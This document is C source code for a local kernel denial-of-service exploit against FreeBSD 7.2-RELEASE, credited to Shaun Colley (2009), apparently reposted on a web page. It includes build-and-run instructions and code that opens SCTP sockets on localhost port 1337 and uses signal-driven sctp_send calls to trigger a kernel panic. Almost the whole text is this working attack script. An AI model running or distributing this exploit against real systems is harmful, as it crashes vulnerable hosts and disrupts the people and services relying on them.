FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of

/* fbsd-sctp-panic.c
*
* freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
* only tested on 7.2-RELEASE, probably older and newer builds are vuln.  as well
* based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
*
* by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009
*
* $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
* wait a few seconds..
*
* - shaun
*/

#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {
struct sockaddr_in sin;
socklen_t size = sizeof(sin);

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(0x7f000001);
sin.sin_port = htons(1337);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
bind(sock, (struct sockaddr *)&sin, sizeof(sin));
listen(sock, 1);
lsock = accept(sock, (struct sockaddr *)&sin, &size);
}

void recvdata() {
int flag;
struct sctp_sndrcvinfo recvinfo;
char buf[10];
sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
}

void make_connection() {
struct sockaddr_in consin;
struct sctp_sndrcvinfo sinfo;

csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
consin.sin_family = AF_INET;
consin.sin_addr.s_addr = htonl(0x7f000001);
consin.sin_port = htons(1337);

connect(csock, (struct sockaddr *)&consin, sizeof(consin));
signal(SIGALRM, recvdata);
sinfo.sinfo_stream = 1337;
sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
}


int main() {

alarm(2);
signal(SIGALRM, make_connection);
accept_connection();

return 0;
}
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值